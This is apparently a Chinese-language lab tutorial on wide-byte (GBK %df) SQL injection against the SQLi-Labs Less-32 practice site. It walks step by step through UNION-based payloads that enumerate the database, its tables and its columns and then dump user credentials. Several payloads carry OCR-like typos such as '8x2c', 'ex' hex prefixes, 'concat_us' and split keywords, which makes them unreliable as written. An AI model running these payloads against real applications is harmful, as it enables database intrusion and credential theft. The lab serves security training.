宽字节注入适用于cms和数据库对字符串的编码方式不统一、WAF利用
AddSlashes()等函数对敏感字符进行转义的场景。
统一的国际规范的理想状态是所有应用程序都使用Unicode编码,所有的网站
都使用UTF-8编码。但因为一些历史原因,国内及国外(特别是非英语国家)的一些cms仍然使用着自己国家的一套编码(如GBK);也有一些cms为了考
虑老用户,出了GBK和 UTF-8两个版本。
一个GBK编码汉字,占用2个字节;一个UTF-8编码的汉字,占用3-4个字节。当Web应用程序的编码方式为GBK,而数据库的编码方式为UTF-8,且 WAF利用AddSlashes()等函数对敏感字符进行转义时,此时可以利用Web应用程序
和数据库编码方式上的差异,想办法将‘前面添加的转义符\除掉,以实现注入。
1.访问SQLi-Labs 网站
在攻击机 Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs 上的SQLi-Labs网站Less-32。访问的URL为:
http://[靶机 IP]/sqli-labs/Less-32/(注意大小写)
登录后,根据网页提示,先给定一个GET参数,即:
http ://[靶机IP]/sqli-labs/Less-32/ ?id=1
此时页面显示 id=1的用户名 Dump、密码 Dump 。

2.寻找注入点
分别使用以下3条 payload寻找注入点及判断注入点的类型:
http://[靶机IP]/sqli-labs/Less-32/?id=1'
运行后正常显示用户名和密码,但页面下方提示′前被加上了\

http ://[靶机IP]/sqli-labs/ Less-32/ ?id=1%df'运行后发生报错!

http:/ /[靶机IP]/sqli-labs /Less-32/ ?id=1%df' --+运行后正常显示!

3.判断网站查询的字段数
尝试使用以下payload获取网站查询的字段数(关键字order by) :
http:// [靶机IP]/sqli-labs/Less-32/ ?id=1%df' order by 1--+
正常显示!

http ://[靶机IP]/sqli-labs/Less-32/ ?id=1%df' order by 4--+报错!

4.判断网站的回显位置
利用以下payload 判断网站的回显位置:
http://[靶机IP]/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,2,3--+执行的结果是:2号位和3号位可以回显!

5.获取网站当前所在数据库的库名
使用以下payload获取网站当前所在数据库的库名:
http:/ / [靶机IP]/sqli-labs/Less-32/ ? id=1%df' and 1=2 union select1,2, database( )--+
显示结果为security。

6.获取数据库security的全部表名
使用以下payload获取数据库security 的全部表名:
http://[靶机IP]/sqli-labs/Less-32/?id=1%df' and 1=2 union select1,2,group_concat(table_name) from information_schema.tables wheretable_schema=0x7365637572697479--+
//注意:payload如果写成...table_schema='security',此处的单引号也会被加上转义符而无法带入执行,这里需要将字符串security转换成16进制编码,即ex7365637572697479,其中0x73、0x65、0x63、0x75、0x72、0x69、0x74、Ox79分别是小写字母s、e、c、 u、r、i、t、y的16进制编码。
显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

7.获取users表的全部字段名
使用以下payload获取users表的全部字段名:
http://[靶机IP]/sqli-labs/Less-32/ ? id=1%df' and 1=2 union select1,2 ,group_concat(column_name) from information_schema.columns wheretable_schema=Ox7365637572697479 and table_name=ox7573657273--+
//注意:同上,ex7365637572697479、0x7573657273分别是字符串security、users 的16进制编码。
显示结果,users表中有id、username和 password三个字段。

8.获取users表id、username和 password字段的全部值。
由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我
们可以通过limit M,N的方式逐条显示,如
(1)显示第1组数据
http://[靶机IP]/sqli-labs/Less-32/ ?id=1%df' and 1=2 union select
1,2, concat_ws(8x2c , id,username , password) from security.users limit 0,1--+
//注意:ex2c是逗号的16进制编码。
显示结果为 Dump.Dump.

(2)显示第⒉组数据
http://[靶机IP]/sqli-labs/Less-32/ ? id=1%df' and 1=2 union select
1,2, concat_us(8x2c , id,username, password) from security.users limit 1,1--+显示结果为Angelina,l-kill-you.

(3)显示第3组数据
http:// [靶机 IP]/sqli-labs/Less-32/?id=1%df' and 1=2 union select
1,2,concat_ws (8x2c , id,username , password) from security.users limit 2,1--+显示结果为Dummy,p@ssword。
